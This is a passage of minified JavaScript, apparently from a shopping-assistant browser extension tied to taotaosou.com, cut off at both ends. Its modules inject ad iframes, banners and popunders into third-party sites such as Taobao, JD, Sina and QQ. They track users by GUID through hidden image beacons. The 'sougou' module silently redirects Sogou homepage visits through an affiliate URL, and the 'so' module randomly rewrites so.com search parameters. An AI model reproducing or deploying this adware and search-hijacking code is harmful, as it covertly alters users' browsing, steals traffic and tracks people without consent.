            Math.abs(a.oSpeed[g]) > i && (a.oSpeed[g] = a.oSpeed[g] > 0 ? i: -i),
            d(a, g, h + a.oSpeed[g])
        }
        e && e.call(a),
        f && (clearInterval(a.timer), a.timer = null, c && c.call(a))
    }
    function h() {
        for (var a = 0,
        b = arguments.length; b > a; a++) v.load(v.api.log + "browser_statistics.do?type=" + arguments[a] + "&v=" + (new Date).getTime())
    }
    function i(b) {
        var c = document.getElementById(w + "_union"),
        d = u.utils.getRandom(1, 100),
        e = !1;
        c || (k = document.createElement("div"), k.id = w + "_union", document.body.appendChild(k), c = k);
        var f = document.createElement("div");
        f.id = "J_tts_bubble",
        f.className = "media_bubble";
        var g = "item.taobao.com" === s || "item.beta.taobao.com" === s,
        i = s.match(/detail.tmall/),
        m = "search1.taobao.com",
        n = "s.taobao.com",
        r = "list.taobao.com",
        v = ({
            host: {
                tbSearch1: m,
                tbListS: n,
                tbList: r,
                isHomeTaobao: "http://www.taobao.com/" === location.href,
                isHomeTmall: "www.tmall.com" === s,
                isHomeJD: "www.jd.com" === s,
                isItaobao: "i.taobao.com" === s,
                isB2CList: "list.jd.com" === s || "search.jd.com" === s,
                isTBList: "search.taobao.com" === s || s === m || s === n || "s8.taobao.com" === s || s === r,
                isTMList: "list.tmall.com" === s || "list.mei.tmall.com" === s,
                isTBDetail: g,
                isVipHome: "http://www.vip.com/" === location.href,
                isVipDetail: "www.vip.com" === s && location.href.match(/detail/),
                isGMDetail: "www.gome.com.cn" === s && location.href.match(/product/),
                isAMXDetail: "www.amazon.cn" === s && (location.href.match(/http:\/\/www.amazon.cn\/.*?\/dp\/(\w+)\/.*?/) || location.href.match(/http:\/\/www.amazon.cn\/dp\/(\w+)\/.*?/) || location.href.match(/http:\/\/www.amazon.cn\/.*?\/product\/(\w+)\/.*?/)),
                isTMDetail: i,
                isDetail: g || i,
                isCsTMDetail: s.match(/chaoshi.detail.tmall/),
                isMGJDetail: function() {
                    return s.match(/mogujie/) && location.href.match(/detail/) ? !0 : !1
                } (),
                isMLSHome: "http://www.meilishuo.com/" === location.href,
                isMLSDetail: s.match(/meilishuo/) && location.pathname.match(/guang|pretty|search|group|ihome|person|share/),
                isHomeTaobao: "www.taobao.com" === s,
                isItaobao: "i.taobao.com" === s,
                isB2CDetail: "item.jd.com" === s || location.href.match(/re.jd.com\/cps\/item/),
                isYHDDetail: "item.1mall.com" === s || "item.yhd.com" === s,
                isVjiaDetial: "item.vjia.com" === s,
                isVanclDetail: "item.vancl.com" === s,
                isDDDetail: "product.dangdang.com" === s,
                isSuningDetail: "product.suning.com" === s,
                isSuningHome: "http://www.suning.com/" === t,
                isHomeJumei: /^http:\/\/\w{0,6}\.jumei\.com\/$/.test(t),
                isTM: s.match(/\.tmall\.com/),
                isTB: s.match(/\.taobao\.com/)
            }
        },
        20),
        y = function() {
            q(".bijia-logo") && "71px" === q(".bijia-logo").css("height") ? (f.style.bottom = "71px", clearTimeout(z)) : v ? (v--, setTimeout(y, 1e3)) : clearTimeout(z)
        },
        z = setTimeout(y, 1e3),
        A = function(a, b) {
            var c = "";
            return '<a href="javascript:;" id="J_tts_bubble_close" title="关闭" class="media_bubble_close" onclick="return false"><div class="close_text">关闭</div><div class="x_text">X</div></a><iframe id="J_tts_bubble_frame" class="media_bubble_frame" src=" ' + a + '" vspace="0" hspace="0" allowtransparency="true" scrolling="no" marginheight="0" marginwidth="0" frameborder="0"></iframe>' + (b ? c: "")
        };
        if (o) {
            if ("state" in b) {
                var B = u.utils.getRandom(0, 99);
                return B > b.thirdPartUnion ? (f.innerHTML = A(u.utils.api.channel + "source=" + u.utils.SOURCE + "&guid=" + u.utils.GUID + "&siteCid=-1&pid=null&itemSize=5", !0), c.appendChild(f), e = !0, j(f, e), h("pop_news_pv"), q(".close_text").css("display", "none"), q("#J_tts_bubble_close").css("width", "20px"), void verifyWeb()) : (f.innerHTML = A("//showkc.taotaosou.com/imgShow.do?jsCode=%26lt%3Bscript%26gt%3B%0D%0Avar%20mediav_ad_pub%20%3D%20'ipHe14_1037544'%3B%0D%0Avar%20mediav_ad_width%20%3D%20'300'%3B%0D%0Avar%20mediav_ad_height%20%3D%20'250'%3B%0D%0Aif(navigator.userAgent.indexOf('Windows%20NT%205.1')%26gt%3B-1)%0D%0A%20document.write('%5C%26lt%3Bscript%20type%3D%26quot%3Btext%2Fjavascript%26quot%3B%20language%3D%26quot%3Bjavascript%26quot%3B%20charset%3D%26quot%3Butf-8%26quot%3B%20%20src%3D%26quot%3Bhttp%3A%2F%2Fstatic.mediav.com%2Fjs%2Fmvf_g2.js%26quot%3B%26gt%3B%5C%26lt%3B%5C%2Fscript%26gt%3B')%3B%0D%0Aelse%0D%0A%20document.write('%5C%26lt%3Bscript%20type%3D%26quot%3Btext%2Fjavascript%26quot%3B%20language%3D%26quot%3Bjavascript%26quot%3B%20charset%3D%26quot%3Butf-8%26quot%3B%20%20src%3D%26quot%3Bhttps%3A%2F%2Fstatic-ssl.mediav.com%2Fjs%2Fmvf_g2.js%26quot%3B%26gt%3B%5C%26lt%3B%5C%2Fscript%26gt%3B')%3B%0D%0A%26lt%3B%2Fscript%26gt%3B&width=300&height=250"), c.appendChild(f), j(f), h("pop_juxiao_pv"), q(".close_text").css("display", "none"), void q("#J_tts_bubble_close").css("width", "20px"))
            }
            if (!b.confBubble.jsStatus) return void(2 === b.confBubble.bubbleType ? (f.innerHTML = A(u.utils.api.channel + "source=" + u.utils.SOURCE + "&guid=" + u.utils.GUID + "&siteCid=" + b.keyType + "&pid=" + b.id + "&itemSize=5", !0), c.appendChild(f), q(".close_text").css("display", "none"), q("#J_tts_bubble_close").css("width", "20px"), e = !0, j(f, e)) : 1 === b.confBubble.bubbleType && (f.innerHTML = A(x), c.appendChild(f), q(".close_text").css("display", "none"), q("#J_tts_bubble_close").css("width", "20px"), j(f)));
            if (b.confBubble.probality < d) 2 === b.confBubble.bubbleType ? (f.innerHTML = A(u.utils.api.channel + "source=" + u.utils.SOURCE + "&guid=" + u.utils.GUID + "&siteCid=" + b.keyType + "&pid=" + b.id + "&itemSize=5", !0), c.appendChild(f), e = !0, j(f, e), q(".close_text").css("display", "none"), q("#J_tts_bubble_close").css("width", "20px")) : 1 === b.confBubble.bubbleType && (f.innerHTML = A(x), c.appendChild(f), q(".close_text").css("display", "none"), q("#J_tts_bubble_close").css("width", "20px"), j(f));
            else {
                if (!b.confBubble.jsCode.match(/\{guid\}/)) return f.innerHTML = A("//showkc.taotaosou.com/imgShow.do?jsCode=" + encodeURIComponent(b.confBubble.jsCode) + "&width=300&height=250", !0),
                c.appendChild(f),
                q(".close_text").css("display", "none"),
                q("#J_tts_bubble_close").css("width", "20px"),
                void j(f, e);
                f.innerHTML = A(u.utils.api.channel + "source=" + u.utils.SOURCE + "&guid=" + u.utils.GUID + "&siteCid=" + b.keyType + "&pid=" + b.id + "&itemSize=5"),
                e = !0,
                c.appendChild(f),
                q(".close_text").css("display", "none"),
                q("#J_tts_bubble_close").css("width", "20px"),
                j(f, e)
            }
        } else if (p) {
            var C = a("../templates.jst"),
            D = C["tmt/ditong"];
            a("../lib/jquery.popunder"),
            q.getJSON("//www.gmf.com/tumeiti.php?adType=0,0,1,0&keyword=0,0,0,0&adSize=0,0,728*70,0&itemSize=0,0,1,0&tbId=&pid=393&jsonp=?",
            function(a) {
                a.pinpai[0] && (a.pinpai[0].href = "http://search.taotaosou.com/trans.html?clickUrl=" + a.pinpai[0].href, f.innerHTML = D(a.pinpai[0]), c.appendChild(f), e = !0, j(f, e), f.style.width = "728px", q(".media_bubble_frame").eq(0).addClass("mini"), q("#J_tts_bubble_frame").on("click",
                function() {
                    window.aPopunder = [[a.pinpai[0].href]],
                    q.popunder.helper.def.fs = !1,
                    q.popunder()
                }))
            })
        } else {
            var C = a("../templates.jst"),
            D = C["tmt/ditong"];
            a("../lib/jquery.popunder"),
            q.getJSON("//www.gmf.com/tumeiti.php?adType=0,0,1,0&keyword=0,0,0,0&adSize=0,0,728*70,0&itemSize=0,0,1,0&tbId=&pid=294_" + l.DITCH_ID + "&jsonp=?",
            function(a) {
                a.pinpai[0] && (a.pinpai[0].href = "http://search.taotaosou.com/trans.html?clickUrl=" + a.pinpai[0].href, f.innerHTML = D(a.pinpai[0]), c.appendChild(f), e = !0, j(f, e), f.style.width = "728px", q(".media_bubble_frame").eq(0).addClass("mini"), q("#J_tts_bubble_frame").on("click",
                function() {
                    window.aPopunder = [[a.pinpai[0].href]],
                    q.popunder.helper.def.fs = !1,
                    q.popunder()
                }))
            })
        }
    }
    function j(a, b) {
        var c = 250;
        o || (c = 70);
        var d = document.getElementById("J_tts_bubble_close");
        setTimeout(function() {
            v.setCSS(a, {
                display: "block"
            }),
            new e(a, {
                height: c
            },
            y.BUFFER,
            function() {
                h("Union_Adframe_Autoshow")
            })
        },
        800),
        v.addEvent(d, "click",
        function() {
            if (new e(a, {
                height: 0
            },
            y.BUFFER,
            function() {
                a.style.display = "none",
                h("Union_Adframe_X")
            }), !o) {
                if (p) var b = 8;
                else var c = 5;
                cookieName = "TKads",
                v.cookie.set({
                    name: cookieName,
                    value: !0,
                    min: c,
                    hour: b,
                    path: "/",
                    domain: s
                })
            }
        })
    }
    var k, l = a("../utils"),
    m = a("../lib/jsonp"),
    n = {
        get: function() {
            var a, b, c, d, e, f = {},
            g = document.cookie;
            if ("" === g) return f;
            for (a = g.split("; "), b = 0, c = a.length; c > b; b++) {
                d = a[b],
                e = d.indexOf("=");
                var h;
                try {
                    h = decodeURIComponent(d.substring(e + 1))
                } catch(i) {
                    h = d.substring(e + 1)
                }
                f[d.substring(0, e)] = h
            }
            return f
        },
        set: function(a) {
            var b = a.name + "=" + encodeURIComponent(a.value);
            if ("number" == typeof a.day || "number" == typeof a.hour || "number" == typeof a.min || "number" == typeof a.sec) {
                var c;
                if (window.navigator.userAgent.match(/MSIE/)) {
                    var d = new Date;
                    a.day ? c = 24 * a.day * 3600 * 1e3: a.hour ? c = 3600 * a.hour * 1e3: a.min ? c = 60 * a.min * 1e3: a.sec && (c = 1e3 * a.sec),
                    d.setTime((new Date).getTime() + c),
                    b += "; expires=" + d.toGMTString()
                } else a.day ? c = 60 * a.day * 60 * 24 : a.hour ? c = 60 * a.hour * 60 : a.min ? c = 60 * a.min: a.sec && (c = a.sec),
                b += "; max-age=" + c;
                a.path && (b += "; path=" + a.path),
                a.domain && (b += "; domain=" + a.domain)
            }
            document.cookie = b
        }
    },
    o = !0,
    p = !1,
    q = a("../lib/jquery.min"),
    r = q("body"),
    s = location.host,
    t = location.href,
    u = {
        utils: a("../utils")
    },
    v = {
        api: {
            re: "//re.taotaosou.com/",
            browser: "//browserre.taotaosou.com/",
            log: "//log.taotaosou.com/",
            kc: "//showkc.taotaosou.com/"
        },
        cqol: "cqol",
        load: function(a, b) {
            var c = document.createElement("script");
            c.type = "text/javascript",
            c.charset = "utf-8",
            c.src = a,
            c.onload = c.onreadystatechange = function() {
                c.isLoad || c.readyState && "loaded" !== c.readyState && "complete" !== c.readyState || (c.isLoad = !0, "function" == typeof b && b(c), c.onload = c.onreadystatechange = null, c.parentNode.removeChild(c))
            },
            document.body.appendChild(c)
        },
        addEvent: function(a, b, c) {
            return a.addEventListener ? (a.addEventListener(b, c, !1), !0) : a.attachEvent ? (a["e" + b + c] = c, a[b + c] = function() {
                a["e" + b + c](window.event)
            },
            a.attachEvent("on" + b, a[b + c]), !0) : !1
        },
        setCookie: function(a, b) {
            var c = this;
            return a.name && a.value ? (a.hour = 60 * a.hour * 60, void this.load(c.api.kc + "setCookie.do?name=" + a.name + "&value=" + a.value + "&day=" + a.hour,
            function() {
                b()
            })) : !1
        },
        getCSS: function(a, b) {
            return parseFloat(a.currentStyle ? a.currentStyle[b] : document.defaultView.getComputedStyle(a, !1)[b])
        },
        setCSS: function(a, b, c) {
            var d = function(b, c) {
                a.style[b] = c
            };
            for (var e in b) b.hasOwnProperty(e) && d(e, b[e]);
            c && c()
        },
        getCookie: function(a, b) {
            var c = this;
            return a ? void q.getJSON(c.api.kc + "getCookie.do?name=" + a + "&jsonp=?",
            function(a) {
                b(a)
            }) : !1
        },
        cookie: n
    },
    w = "__TTS",
    x = "http://showkc.taotaosou.com/cqol.html",
    y = {
        BUFFER: 1,
        FLEX: 2
    },
    t = window.location.href;
    if (!t.match(/tts_shield=true/)) {
        var z = /^[^\.]+\.(.+)$/i;
        s.match(z);
        r.on("config.success",
        function(a, b) {
            var c, d = b.iA && b.iA.adList ? b.iA.adList: [],
            e = d.length;
            c = "//exts-config.taotaosou.com/option/get?name=callback&callback=?&guid=" + l.GUID,
            m({
                url: c,
                timeout: 5e3,
                done: function(a) {
                    if (a.code % 2 !== 1) {
                        for (; e--;) if ((294 === d[e].pid || 393 === d[e].pid) && (393 === d[e].pid && (p = !0), d[e].status === !0)) {
                            if (o = !1, "true" === v.cookie.get().TKads) return;
                            return void i(b)
                        }
                        return
                    }
                },
                fail: function() {
                    for (; e--;) if ((294 === d[e].pid || 393 === d[e].pid) && (393 === d[e].pid && (p = !0), d[e].status === !0)) {
                        if (o = !1, "true" === v.cookie.get().TKads) return;
                        return void i(b)
                    }
                    return
                }
            })
        })
    }
}),
__tk2__define("view/picBanner", ["../utils", "../lib/jquery.min", "../lib/jquery.min"],
function(a, b, c) {
    function d(a) {
        f.ajax({
            url: "//www.gmf.com/tumeiti.php?adType=0,0,1,0&keyword=0,0,0,0&adSize=0,0,300*60,0&itemSize=0,0,1,0&tbId=&pid=407&jsonp=?",
            cache: !1,
            dataType: "jsonp",
            jsonp: "callback"
        }).done(function(a) {
            var b = a.pinpai[0].media,
            c = a.pinpai[0].href,
            d = '<a id="KKT-banner-link" href="' + c + '"><img id="KKT-banner-pic" src="' + b + '" alt=""><div id="KKT-banner-close"></div></a>';
            f("body").append(d)
        })
    }
    var e = {
        utils: a("../utils")
    },
    f = a("../lib/jquery.min");
    e.utils.isManualDId || f("body").on("page.img",
    function(a, b) {
        d(b)
    })
}),
__tk2__define("view/popup", ["../lib/jquery.min", "../utils", "../lib/jquery.popunder"],
function(a, b, c) {
    function d(a, b) {
        window.aPopunder = [[a]],
        h.popunder.helper.def.fs = !1,
        h.popunder(),
        i.utils.stat("outsite_pop_" + b)
    }
    function e(a) {
        var b = a.confPageBubble.pageUrl;
        b.match(/^http.+/) || (b = "http://" + b),
        j.one("click",
        function() {
            d(b, a.keyType)
        })
    }
    var f = window.location,
    g = f.host,
    h = a("../lib/jquery.min"),
    i = {
        utils: a("../utils")
    },
    j = h("body");
    i.utils.isManualDId || (a("../lib/jquery.popunder"), j.on("config.success",
    function(a, b) {
        if (! ("state" in b) && b.confPageBubble && b.confPageBubble.pageStatus && "true" !== i.utils.cookie.get().TKpopup && (i.utils.cookie.set({
            name: "TKpopup",
            value: !0,
            hour: b.confPageBubble.pageTime,
            path: "/",
            domain: g
        }), void 0 !== i.utils.cookie.get().TKpopup)) try {
            e(b)
        } catch(c) {
            console.error(c.stack)
        }
    }))
}),
__tk2__define("view/side", ["../lib/jquery.min", "../utils", "../templates.jst"],
function(a, b, c) {
    var d, e = a("../lib/jquery.min"),
    f = a("../utils"),
    g = a("../templates.jst"),
    h = {
        init: function() {
            this.getConfig()
        },
        getConfig: function() {
            var a = this;
            e("body").on("config.success",
            function(b, c) {
                var d = c.iA && c.iA.adList ? c.iA.adList: [];
                d && e.each(d,
                function(b, c) {
                    385 === c.pid && c.status && a.getData()
                })
            })
        },
        insertDiv: function() {
            document.getElementById("TTS_side") ? d = document.getElementById("TTS_side") : (d = document.createElement("div"), d.id = "TTS_side", document.body.appendChild(d))
        },
        getData: function() {
            var a = this;
            e.ajax({
                url: "https://www.gmf.com/tumeiti.php?adType=0,0,1,0&keyword=0,0," + encodeURIComponent(document.title && document.title.replace(/,|，/g, "")) + ",0&adSize=0,0,120*80,0&itemSize=0,0,1,0&tbId=&pid=385",
                cache: !1,
                dataType: "jsonp",
                jsonp: "jsonp",
                success: function(b) {
                    a.showBrand(b)
                }
            })
        },
        showBrand: function(a) {
            this.insertDiv();
            var b = g["tmt/side"];
            a.pinpai[0] && (e(d).append(b(a.pinpai[0])), this.addEvent())
        },
        addEvent: function() {
            f.cookie.get().TTS_side && e(d).hide(),
            e(d).find(".close_TTS_side").on("click",
            function() {
                f.cookie.set({
                    name: "TTS_side",
                    value: !0,
                    min: 5,
                    path: "/",
                    domain: f.host
                }),
                e(d).hide()
            })
        }
    };
    h.init()
}),
__tk2__define("view/sina", ["../lib/jquery.min", "../utils"],
function(a, b, c) {
    var d = a("../lib/jquery.min"),
    e = {
        utils: a("../utils")
    },
    f = "//showkc.taotaosou.com/imgShow.do?guid=" + e.utils.GUID,
    g = '<iframe frameborder="0" marginheight="0" marginwidth="0" border="0" scrolling="no" width="300" height="300" src="' + f + '"></iframe>';
    e.utils.href.match("sina.com.cn") && d(g).insertBefore(".bc"),
    e.utils.href.match("finance.sina.com.cn") && d(g).insertBefore(".blkstocks"),
    e.utils.href.match("video.sina.com.cn") && d(g).insertBefore(".F_asid")
}),
__tk2__define("view/so", ["../utils", "../lib/jquery.min"],
function(a, b, c) {
    var d = a("../utils");
    if (!d.isManualDId) {
        var e = d.href,
        f = function() {
            var a, b, c = ["n048355b196"];
            for (a = 0, b = c.length; b > a; a++) if (e.match(c[a])) return ! 1;
            return e.match(/www.so.com\/s\?/) && e.match(/ls=/) && e.match(/src=lm/) && e.match(/q=/) ? !0 : !1
        },
        g = function() {
            var a = d.getRandom(0, 99);
            10 > a && (document.location.href = d.replaceUrlParam(e, "ls", "n048355b196"))
        };
        f() && !d.cookie.get().soTK && (d.cookie.set({
            name: "soTK",
            value: !0,
            min: 5,
            path: "/",
            domain: "so.com"
        }), d.cookie.get().soTK && g())
    }
}),
__tk2__define("view/sougou", ["../lib/jquery.min", "../utils"],
function(a, b, c) {
    var d = window.location,
    e = d.href,
    f = (a("../lib/jquery.min"), {
        utils: a("../utils")
    });
    if (!f.utils.isManualDId) {
        var g = function() {
            document.location.href = "http://www.fanhai8.com/redirect.html?www.sogou.com/index.php?pid=sogou-clse-55a0df4b5a1786cd"
        }; (e.match(/www.sogou.com\/\?.*/) || "http://www.sogou.com/" === e) && ("true" !== f.utils.cookie.get().sogouTK ? (f.utils.cookie.set({
            name: "sogouTK",
            value: "true",
            day: 36500,
            path: "/",
            domain: "sogou.com"
        }), "true" === f.utils.cookie.get().sogouTK && g()) : f.utils.cookie.set({
            name: "sogouTK",
            value: "false",
            day: 36500,
            path: "/",
            domain: "sogou.com"
        }))
    }
}),
__tk2__define("view/tencent", ["../lib/jquery.min", "../utils"],
function(a, b, c) {
    var d = a("../lib/jquery.min"),
    e = {
        utils: a("../utils")
    },
    f = "//showkc.taotaosou.com/imgShow.do?guid=" + e.utils.GUID,
    g = '<iframe frameborder="0" marginheight="0" marginwidth="0" border="0" scrolling="no" width="300" height="300" src="' + f + '"></iframe>';
    e.utils.href.match("news.qq.com") && d(g).insertBefore(".video-air-mod"),
    e.utils.href.match("finance.qq.com") && d(g).insertBefore(".essence-mod"),
    e.utils.href.match("sports.qq.com") && d(g).insertBefore(".video-air-mod"),
    e.utils.href.match("ent.qq.com") && d(g).insertBefore(".video-air-mod"),
    e.utils.href.match("fashion.qq.com") && d(g).insertBefore(".video-air-mod")
}),
__tk2__define("view/tips", ["../lib/jquery.min", "../utils"],
function(a, b, c) {
    var d = window.location,
    e = d.host,
    f = d.href,
    g = !0,
    h = a("../lib/jquery.min"),
    i = {
        utils: a("../utils")
    },
    j = h("body");
    if (f.match(/tts_shield=true/) || i.utils.isManualDId) return ! 1;
    if (i.utils.isTTSIp() || !i.utils.ipLocalCity().match(/北京|上海|广州|深圳|杭州/)) {
        for (var k = ["item.taobao.com", "detail.tmall.com", "item.jd.com", "re.jd.com"], l = 0; l < k.length; l++) {
            if (e === k[l]) {
                g = !0;
                break
            }
            g = !1
        }
        if (!g) return ! 1;
        var m = {
            isTbDetail: "item.taobao.com" === e,
            isTmDetail: "detail.tmall.com" === e,
            isJDDetail: "item.jd.com" === e || d.href.match(/re.jd.com\/cps\/item/)
        };
        j.on("config.success",
        function(a, b) {
            function c(a, b) {
                d(b + "_rename_ad_success"),
                a.find(".J_icon_close").on("click",
                function() {
                    a.hide(),
                    d(b + "_rename_ad_close")
                }),
                a.find(".J_icon_body").on("click",
                function() {
                    d(b + "_rename_ad_click")
                })
            }
            function d(a) {
                var b, c = document.createElement("img"),
                d = "//log.taotaosou.com/browser_statistics.do?type=" + a;
                "string" == typeof d && (d += d.match(/\?/) ? "&t=": "?t=", d += (new Date).getTime()),
                c.setAttribute("src", d),
                c.setAttribute("width", 0),
                c.setAttribute("height", 0),
                c.style.display = "none",
                c.onerror = null,
                document.getElementById("TK-log") ? b = document.getElementById("TK-log") : (b = document.createElement("div"), b.id = "TK-log", document.body.appendChild(b)),
                b.appendChild(c)
            }
            function f(a) {
                var b = a.iA.adList,
                d = null,
                f = null;
                m.isTbDetail ? g(function() {
                    k.tmt.showIcon(b, 255) && (f = setInterval(function() {
                        document.getElementById("TTK-sub-wrap") && (d = h("#TTK-sub-wrap"), h.getJSON(i.utils.api.kctu + "adType=0,0,1,0&keyword=0,0," + encodeURIComponent("淘宝detail头上") + ",0&adSize=0,0,120*80,0&itemSize=0,0,1,0&tbId=&pid=255&domain=" + e + "&isCps=true&cpsTbName=ttsunio&jsonp=?",
                        function(a) {
                            if (a && a.pinpai[0]) {
                                var b = '<div style="z-index: 405548810; position: absolute; margin-left: 400px;"><span class="J_icon_close" title="关闭" style="display: block; z-index: 2; position: absolute; bottom: 6px; right: 3px; text-align: center; height: 12px; width: 12px; background-color: #999; color: #fff; line-height: 10px; border-radius:10px; cursor: pointer;">x</span><a href="' + a.pinpai[0].href + '" class="J_icon_body" target="_blank"><img src="' + a.pinpai[0].media + '" alt=""></a></div>',
                                e = h(b);
                                e.css({
                                    top: d.offset().top - 69,
                                    left: d.offset().left
                                }).appendTo(j),
                                c(e, "TBdetail")
                            }
                        }), clearInterval(f), f = null)
                    },
                    200))
                }) : m.isTmDetail ? g(function() {
                    k.tmt.showIcon(b, 255) && (f = setInterval(function() {
                        document.getElementById("TTK-sub-wrap") && (d = h("#TTK-sub-wrap"), h.getJSON(i.utils.api.kctu + "adType=0,0,1,0&keyword=0,0," + encodeURIComponent("淘宝detail头上") + ",0&adSize=0,0,120*80,0&itemSize=0,0,1,0&tbId=&pid=255&domain=" + e + "&isCps=true&cpsTbName=ttsunio&jsonp=?",
                        function(a) {
                            if (a && a.pinpai[0]) {
                                var b = '<div style="z-index: 405548810; position: absolute; margin-left: 400px;"><span class="J_icon_close" title="关闭" style="display: block; z-index: 2; position: absolute; bottom: 6px; right: 3px; text-align: center; height: 12px; width: 12px; background-color: #999; color: #fff; line-height: 10px; border-radius:10px; cursor: pointer;">x</span><a href="' + a.pinpai[0].href + '" class="J_icon_body" target="_blank"><img src="' + a.pinpai[0].media + '" alt=""></a></div>',
                                e = h(b);
                                e.css({
                                    top: d.offset().top - 84,
                                    left: d.offset().left
                                }).appendTo(j),
                                c(e, "TBdetail")
                            }
                        }), clearInterval(f), f = null)
                    },
                    200))
                }) : m.isJDDetail && g(function() {
                    k.tmt.showIcon(b, 255) && (f = setInterval(function() {
                        document.getElementById("TTK-sub-wrap") && (d = h("#TTK-sub-wrap"), h.getJSON(i.utils.api.kctu + "adType=0,0,1,0&keyword=0,0," + encodeURIComponent("淘宝detail头上") + ",0&adSize=0,0,120*80,0&itemSize=0,0,1,0&tbId=&pid=255&domain=" + e + "&isCps=true&cpsTbName=ttsunio&jsonp=?",
                        function(a) {
                            if (a && a.pinpai[0]) {
                                var b = '<div style="z-index: 405548810; position: absolute; margin-left: 400px;"><span class="J_icon_close" title="关闭" style="display: block; z-index: 2; position: absolute; bottom: 6px; right: 3px; text-align: center; height: 12px; width: 12px; background-color: #999; color: #fff; line-height: 10px; border-radius:10px; cursor: pointer;">x</span><a href="' + a.pinpai[0].href + '" class="J_icon_body" target="_blank"><img src="' + a.pinpai[0].media + '" alt=""></a></div>',
                                e = h(b);
                                e.css({
                                    top: d.offset().top - 84,
                                    left: d.offset().left
                                }).appendTo(j),
                                c(e, "TBdetail")
                            }
                        }), clearInterval(f), f = null)
                    },
                    200))
                })
            }
            function g(a) {
                if (!a) return ! 1;
                if ("true" !== i.utils.cookie.get().TKshowIcon && (i.utils.cookie.set({
                    name: "TKshowIcon",
                    value: !0,
                    hour: 2,
                    path: "/",
                    domain: e
                }), void 0 !== i.utils.cookie.get().TKshowIcon)) try {
                    a()
                } catch(b) {
                    console.error(b.stack)
                }
            }
            var k = {
                tmt: {
                    status: function() {
                        j.trigger("tmt.show", [b])
                    },
                    get: function(a, b, c, d) {
                        var e;
                        if (0 !== a.length) for (var f = 0,
                        g = a.length; g > f; f++) a[f].pid === b && (e = a[f]);
                        return "undefined" != typeof e && e.status ? void 0 : (c.hide(), !1)
                    },
                    showIcon: function(a, b) {
                        var c;
                        if (0 !== a.length) for (var d = 0,
                        e = a.length; e > d; d++) a[d].pid === b && (c = a[d]);
                        return "undefined" == typeof c || !c.status || "undefined" == typeof localStorage || localStorage.getItem("show_icon") ? !1 : !0
                    },
                    fetch: function() {
                        j.on("tmt.show",
                        function(a, b) {
                            return b === !1 || "state" in b ? !1 : b.iA.st === !1 ? !1 : void j.trigger("tmt.status.init", [b])
                        }),
                        this.status()
                    }
                }
            };
            j.on({
                "tmt.status.init": function(a, b) {
                    f(b)
                }
            }),
            k.tmt.fetch()
        })
    }
}),
__tk2__define("view/top", ["../utils", "../lib/jquery.min", "../lib/jquery.min"],
function(a, b, c) {
    function d(a) {
        var b = '<div id="TK-top-frame"><div id="TK-main"> <div class="TK-top-inner" id="TK-top-in-1"></div><div class="TK-top-inner" id="TK-top-in-2">',
        c = "",
        d = "",
        e = a[0].moldGsonList;
        g.each(e,
        function(a, b) {
            c += '<a href=" ' + b.href + '" target="_blank">' + b.title + "</a><br>"
        }),
        b += c,
        b += '</div><div class="TK-top-inner" id="TK-top-in-4"><div id="TK-guandiao"></div>',
        b += '</div><div class="TK-top-inner" id="TK-top-in-3">',
        g.each(a[1].moldGsonList,
        function(a, b) {
            d += '<a href="' + b.href + '" id="TK-bg1" target="_blank"><img src="' + b.media + '"/> </a>'
        }),
        b += d,
        b += "</div></div></div>";
        var h = b;
        "item.taobao.com" === f.utils.host && g(h).insertBefore(".site-nav"),
        "detail.tmall.com" === f.utils.host && g(h).insertBefore("#site-nav"),
        g(document).ready(function() {
            g("#TK-guandiao").click(function() {
                g("#TK-top-frame").hide()
            })
        }),
        g(function() {
            g(window).scroll(function() {
                g(window).scrollTop() < 100 ? g("#TK-top-frame").fadeIn(100) : g("#TK-top-frame").fadeOut(100)
            })
        }),
        g(function() {
            g(window).scroll(function() {
                g("#TK-top-frame").css("position", "fixed"),
                0 != g(window).scrollTop() ? g("#TK-top-frame").css("position", "fixed") : g("#TK-top-frame").css("position", "inherit")
            })
        })
    }
    function e() {
        g.getJSON("//showkc.taotaosou.com/gsonPid.do?adType=1&keyword=brandNullKeyword&itemSize=3,5&pid=371,372&callback=?",
        function(a) {
            return a[0] && a[0].moldGsonList[0] ? void d(a) : !1
        })
    }
    var f = {
        utils: a("../utils")
    },
    g = a("../lib/jquery.min");
    f.utils.isManualDId || +[1] && g("body").on("config.success",
    function(a, b) {
        var c = function() {
            if (!b || "state" in b) return ! 1;
            if (!b.iA || !b.iA.st) return ! 1;
            if (!b.iA.adList) return ! 1;
            var a = b.iA.adList;
            if (a.length[0]) for (var c = 0,
            d = a.length; d > c; c++) if (371 === a[c].pid) return a[c].status ? !0 : !1
        };
        c() && e()
    })
}),
__tk2__define("view/tuan-banner", ["../utils", "../lib/jquery.min", "../lib/jquery.min"],
function(a, b, c) {
    function d() {
        f.ajax({
            url: "//www.gmf.com/tumeiti.php?adType=0,0,1,0&keyword=0,0,0,0&adSize=0,0,300*60,0&itemSize=0,0,1,0&pid=407",
            cache: !1,
            dataType: "jsonp",
            jsonp: "callback"
        }).done(function(a) {
            console.log("读取接口数据成功")
        })
    }
    var e = {
        utils: a("../utils")
    },
    f = a("../lib/jquery.min");
    e.utils.isManualDId || d()
}),
__tk2__define("view/views", ["../lib/jquery.min", "../utils", "./side", "../templates.jst", "./popup", "../lib/jquery.popunder", "./db11banner-nolimit", "../lib/jsonp", "../host", "./db11Banner", "./db11Float", "./duomai", "./lds", "./alimama", "../lib/dragdrop", "../lib/ldsSlide", "./top", "./paopao", "./baidu", "./hao123"],
function(a, b, c) {
    function d() {
        function b() {
            "www.baidu.com" === f ? window.tk_setting_all[53] && +window.tk_setting_all[53].s && a("./baidu") : "www.hao123.com" === f && window.tk_setting_all[60] && +window.tk_setting_all[60].s && a("./hao123")
        }
        window.tk_setting_all[55] && +window.tk_setting_all[55].s && a("./side"),
        h.utils.isRealwebSite() && !h.utils.isManualDId,
        a("./popup"),
        a("./db11banner-nolimit"),
        f.match(/\.qq\.com$/) ? window.tk_setting_all[59] && +window.tk_setting_all[59].s && a("./db11Banner") : window.tk_setting_all[46] && +window.tk_setting_all[46].s && a("./db11Banner"),
        window.tk_setting_all[50] && +window.tk_setting_all[50].s && a("./db11Float"),
        window.tk_setting_all[51] && +window.tk_setting_all[51].s && a("./duomai"),
        window.tk_setting_all[49] && +window.tk_setting_all[49].s && a("./lds"),
        i.tmt.model.top && a("./top"),
        i.tmt.model.paopao && window.tk_setting_all[45] && +window.tk_setting_all[45].s && a("./paopao"),
        g("#J---TK-load").attr("data-source").match(/360/) || b()
    }
    var e = window.location,
    f = e.host,
    g = a("../lib/jquery.min"),
    h = {
        utils: a("../utils")
    },
    i = (g("body"), h.utils.getConfig());
    c.exports = {
        init: function() {
